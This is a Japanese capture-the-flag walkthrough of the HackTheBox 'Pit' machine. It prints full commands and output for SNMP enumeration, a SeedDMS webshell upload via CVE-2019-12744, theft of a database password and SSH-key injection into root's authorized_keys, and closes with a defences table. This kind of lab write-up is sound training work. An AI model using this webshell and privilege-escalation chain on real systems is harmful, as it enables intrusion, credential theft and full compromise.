HackTheBox: Pit — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/9090
→
22/80/9090
SNMP public 列挙
SeedDMSパス+michelle発見
→
SeedDMSパス+michelle発見
SeedDMS ログイン
michelle:michelle
→
michelle:michelle
CVE-2019-12744
未認証アップロードRCE
→
未認証アップロードRCE
settings.xml dbPass窃取
michelleと共通
→
michelleと共通
Cockpit経由 user.txt ✓
→
snmpd extend ACL悪用
check_key.sh設置
→
check_key.sh設置
SSH root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン
BASH
nmap -Pn -sV -sC -T4 --max-retries 2 -p- --min-rate 2000 10.129.228.106
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 80/tcp open http nginx 1.14.1 |_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux 9090/tcp open ssl/http Cockpit web service 221 - 253 | ssl-cert: Subject: commonName=dms-pit.htb Service Info: OS: Linux
ℹ️
80番はnginxのデフォルトページのみで一見手掛かりが無いが、9090番の Cockpit
(Webベースのシステム管理コンソール) のTLS証明書 CN が
dms-pit.htb を
指しており、実際のアプリケーションはこのvhost名でのみ動作していることが分かる。
PHASE 2
SNMP public コミュニティで内部情報を列挙
UDP 161 の SNMP を public コミュニティで列挙
BASH
snmpwalk -c public -v2c 10.129.228.106
RESULT (抜粋)
UCD-SNMP-MIB::dskPath.1 = STRING: /var/www/html/seeddms51x/seeddms NET-SNMP-EXTEND-MIB (extend "monitoring") 実行結果: System release info: CentOS Linux release 8.3.2011 SELinux Settings (login → SELinux User マッピング): michelle user_u s0 * root unconfined_u s0-s0:c0.c1023 *
🚨
重要発見: SNMPのディスクパス情報から SeedDMS のインストール先
(
/var/www/html/seeddms51x/seeddms) が判明。さらに監視スクリプトの出力
(root権限で実行される “monitoring” extend) から SELinux ログインマッピング経由で
システムユーザー michelle の存在が漏洩している。
/etc/hosts へ dms-pit.htb を登録
BASH
echo "10.129.228.106 dms-pit.htb" | sudo tee -a /etc/hosts
PHASE 3
SeedDMS へ弱いパスワードでログイン
michelle:michelle でログイン (推測可能な弱いパスワード)
BASH
curl -s -c cookies.txt --max-time 10 \ -d "login=michelle&pwd=michelle" \ http://dms-pit.htb/seeddms51x/seeddms/op/op.Login.php
🚨
最大のハマりどころ: ログインフォームの表示自体は
out/out.Login.php だが、実際にフォームを処理するのは
<form action="../op/op.Login.php"> が示す通り
op/op.Login.php。out.Login.php へ直接 POST
しても、エラーメッセージも出さずに同じログインフォームをそのまま再表示するだけという
非常に気づきにくい失敗モードになる (SeedDMS の “out=表示専用” / “op=処理専用” という
命名規則を知っていないと詰まりやすい)。
RESULT
"Signed in as 'Michelle'" — ログイン成功
PHASE 4
CVE-2019-12744 未認証アップロードRCE → Cockpit経由 user.txt
フォルダツリーを辿り Michelle 所有フォルダを特定 (AJAX非同期ロード)
BASH
# out.ViewFolder.php?folderid=1 を素のGETで取得しても中身は空 # (静的HTMLには <div class="ajax" data-action="folderList" ...> のプレースホルダのみ) # 実際の一覧は &action=folderList を付与した別リクエストで非同期取得する必要がある curl -s -b cookies.txt "http://dms-pit.htb/seeddms51x/seeddms/out/out.ViewFolder.php?action=folderList&folderid=1&orderby=u"
RESULT (階層を辿った結果)
DMS (folderid=1)
└─ Docs (folderid=6, Owner: Administrator)
└─ Users (folderid=7)
├─ Michelle (folderid=8) ← 書込先
└─ Jack (folderid=9)
⚠️
ハマりどころ: “Users” フォルダ(id=7)の一覧には子フォルダの
“Owner: Michelle” という表示が含まれるため、ページ全体に対して緩く
“michelle” という単語の有無だけで判定すると、Users フォルダ自体を
誤って「Michelleのフォルダ」と誤認してしまう。フォルダ名そのものが
“Michelle” であるリンクを厳密に探す必要がある。
webshell を PHP ドキュメントとしてアップロード
PYTHON (webshell)
webshell_php = """<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
die;
}
?>"""
BASH (アップロード)
# フォームの hidden フィールド (formtoken 等) を先にスクレイピングしてから送信 curl -s -b cookies.txt --max-time 20 \ -F "folderid=8" -F "navBar=1" -F "formtoken=<スクレイピング値>" -F "showtree=1" \ -F "name=myshell" -F "comment=" -F "sequence=1" -F "reqversion=1" \ -F "userfile[]=@shell.php;type=application/x-php;filename=myshell.php" \ "http://dms-pit.htb/seeddms51x/seeddms/op/op.AddDocument.php"
🚨
複合的なハマりどころ:
① フォーム表示は
② フォームには
③ バージョン番号のフィールド名は “version” ではなく実際には “reqversion”。
① フォーム表示は
out/out.AddDocument.php だが、実処理は
ログイン同様 op/op.AddDocument.php。② フォームには
<select name="sequence"> という
プルダウンがあり、UI上は「順序機能は設定で無効化されています」と表示されるが、
実際にはこの値が必須パラメータで、欠落すると Invalid sequence value
エラーで即座に失敗する (type=”hidden” ではないため hidden フィールドの
スクレイピングだけでは拾えない)。③ バージョン番号のフィールド名は “version” ではなく実際には “reqversion”。
アップロード後の documentid 特定 & 物理パスの特定
BASH
# op.AddDocument.php は成功時 302 リダイレクトを返すのみで documentid を含まない # → フォルダ一覧を再取得しファイル名で一致するドキュメントを探す curl -s -b cookies.txt "http://dms-pit.htb/seeddms51x/seeddms/out/out.ViewFolder.php?action=folderList&folderid=8&orderby=u" \ | grep -o 'documentid=[0-9]*[^>]*>\s*myshell'
BASH (物理パスへの直接アクセス — nginxは.htaccessを無視)
# 5.1.11以降の公式パッチはdata/ディレクトリへの.htaccess追加のみだが # Webサーバがnginxのため.htaccessは一切効力を持たず、実質未パッチのまま curl -s "http://dms-pit.htb/seeddms51x/data/1048576/<documentid>/1.php?cmd=id"
🚨
最も見つけにくいハマりどころ:
data/ ディレクトリは
直感に反して <webroot>/seeddms/data/ ではなく
<webroot>/data/ (= seeddms/ ディレクトリの
兄弟ディレクトリ) に存在する。conf/ ディレクトリも
同様に兄弟ディレクトリに存在する。これに気づかず素直に
seeddms/data/... へアクセスすると全て404になり、
「アップロード自体が失敗した」と誤診断しやすい。
RESULT
uid=992(nginx) gid=988(nginx) groups=988(nginx) context=system_u:system_r:httpd_t:s0
settings.xml から DB パスワードを窃取
BASH
curl -s "http://dms-pit.htb/seeddms51x/data/1048576/<id>/1.php?cmd=cat+/var/www/html/seeddms51x/conf/settings.xml"
RESULT
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms"
dbUser="seeddms" dbPass="ied^ieY6xoquu" />
ℹ️
SELinux (
httpd_t confined) により nginx から /home
や /root への直接アクセスは “Permission denied” で拒否される
(bind/reverseシェルも同様に制限される)。このため直接シェルを取るのではなく、
DBパスワードを窃取してmichelleのシステムパスワードとして横展開する。
Cockpit (9090) 経由でシェルアクセスし user.txt 取得
PYTHON (cockpit-bridge WebSocket プロトコル)
import websocket, json, ssl, base64, requests
basic = base64.b64encode(b"michelle:ied^ieY6xoquu").decode()
r = requests.get(f"https://{target}:9090/cockpit/login",
headers={"Authorization": f"Basic {basic}"}, verify=False)
cookie = r.headers["Set-Cookie"].split(";")[0]
ws = websocket.create_connection(f"wss://{target}:9090/cockpit/socket",
header=[f"Cookie: {cookie}"], sslopt={"cert_reqs": ssl.CERT_NONE})
ws.recv()
ws.send("\n" + json.dumps({"command": "init", "version": 1}))
ws.send("\n" + json.dumps({
"command": "open", "channel": "1", "payload": "stream",
"spawn": ["bash", "-c", "cat /home/michelle/user.txt"],
"environ": ["LANG=en_US.UTF-8"],
}))
# フレームを受信して "channel\n<出力>" 形式のデータを蓄積
RESULT
uid=1000(michelle) gid=1000(michelle) groups=1000(michelle) context=user_u:user_r:user_t:s0
e3f36a681f3a07a5f3619d01faea44bd
user.txt — michelle
e3f36a681f3a07a5f3619d01faea44bd
PHASE 5
snmpd extend の ACL 書込権限を悪用して root.txt
/usr/local/monitoring/ の ACL 確認
BASH (Cockpit経由シェル内)
getfacl /usr/local/monitoring/
RESULT
# file: usr/local/monitoring/
# owner: root
# group: root
user::rwx
user:michelle:-wx
group::rwx
mask::rwx
other::---
🚨
重大発見: ディレクトリ自体は
root:root drwxrwx--- だが、
ACL で michelle に 書込+実行 (-wx) 権限が付与されている
(読取 r は無いため ls による一覧表示はできないが、
ファイル名を知っていれば新規作成・書込は可能)。このディレクトリ内の
check*.sh スクリプトは、snmpd の “monitoring” extend 経由で
root 権限により全実行される。
攻撃者公開鍵を追記する check_key.sh を設置
BASH
ssh-keygen -t rsa -b 2048 -N "" -f pit_root_key # Cockpit経由シェルで書き込み (ACLの-wxのみで作成・書込は成功する) echo 'echo "<公開鍵>" >> /root/.ssh/authorized_keys' \ > /usr/local/monitoring/check_key.sh chmod +x /usr/local/monitoring/check_key.sh
ℹ️
実機検証では
chmod +x 自体は失敗する (ファイルの所有者権限の関係で
michelle は実行属性を変更できない) が、これは問題にならない。snmpd の
“monitoring” extend が呼び出す /usr/bin/monitor は
check*.sh を直接 execve するのではなく bash check_key.sh
のようにシェル経由で実行するため、ファイル自体の実行ビットは不要。
SNMP walk で monitoring extend をトリガー
BASH
snmpwalk -c public -v2c 10.129.228.106 .1.3.6.1.4.1.8072.1.3.2.3.1.2.10.109.111.110.105.116.111.114.105.110.103
ℹ️
このOIDへの問い合わせが root 権限で
/usr/bin/monitor (延いては
/usr/local/monitoring/ 配下の全スクリプト) の実行をトリガーする。
check_key.sh が実行され、攻撃者の公開鍵が
/root/.ssh/authorized_keys に root 権限で追記される。
root として SSH ログイン & root.txt 取得
BASH
ssh -i pit_root_key root@10.129.228.106 "cat /root/root.txt"
RESULT
e85805b097ee14442b4b99193ab17d63
root.txt — root
e85805b097ee14442b4b99193ab17d63
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — michelle
e3f36a681f3a07a5f3619d01faea44bd
root.txt — root
e85805b097ee14442b4b99193ab17d63
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SNMP public コミュニティ | net-snmp (161/UDP) | 内部情報漏洩 | Medium | SeedDMSインストールパス・ユーザー名michelleの漏洩 |
| 弱いパスワード | SeedDMS ログイン | 認証バイパス | Medium | michelle:michelle という推測可能な組み合わせ |
| CVE-2019-12744 | SeedDMS 5.1.10 (未認証アップロード) | リモートコード実行 (nginx権限) | Critical | PHP webshellをドキュメントとしてアップロードし、nginxが.htaccessを無視することを悪用して直接実行 |
| パスワード使い回し | MySQL / michelle システムアカウント | 横展開 (nginx → michelle) | Medium | settings.xmlのdbPassがmichelleのCockpit/システムログインパスワードと共通 |
| ACLの過剰な書込権限 | /usr/local/monitoring/ (snmpd extend) | 権限昇格 (michelle → root) | High | root権限で実行される監視スクリプトディレクトリへの書込ACLを悪用しSSHキーを注入 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap全ポートスキャン | 22/80/9090、dms-pit.htb vhost発見 |
| 2 | SNMP列挙 | snmpwalk public | SeedDMSパス、michelleユーザー名 |
| 3 | ログイン | 弱いパスワード推測 | SeedDMS michelle:michelle アクセス |
| 4 | エクスプロイト | CVE-2019-12744 + nginx直接アクセス | user.txt (Cockpit経由) |
| 5 | 権限昇格 | snmpd extend + ACL悪用 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| SNMP public コミュニティが有効で内部情報が漏洩 | SNMPコミュニティ文字列を推測困難な値に変更、または不要なら無効化する。 |
| 推測可能な弱いパスワード (michelle:michelle) | パスワードポリシーを強制し、ユーザー名と同一のパスワードを禁止する。 |
| SeedDMS 5.1.11のパッチが.htaccessベースでnginx環境では無効化されている | Webサーバの種類に関わらず有効なアプリケーションレベルの修正を適用する(最新版へのアップデート)。 |
| アプリケーションDBパスワードとOSアカウントパスワードが同一 | アプリケーションアカウントとOSアカウントでパスワードを分離する。 |
| root権限で実行されるスクリプトディレクトリへのACL書込権限が一般ユーザーに付与されている | root権限で実行されるファイル・ディレクトリへの書込権限は厳格に制限し、ACLの設定を定期的に監査する。 |

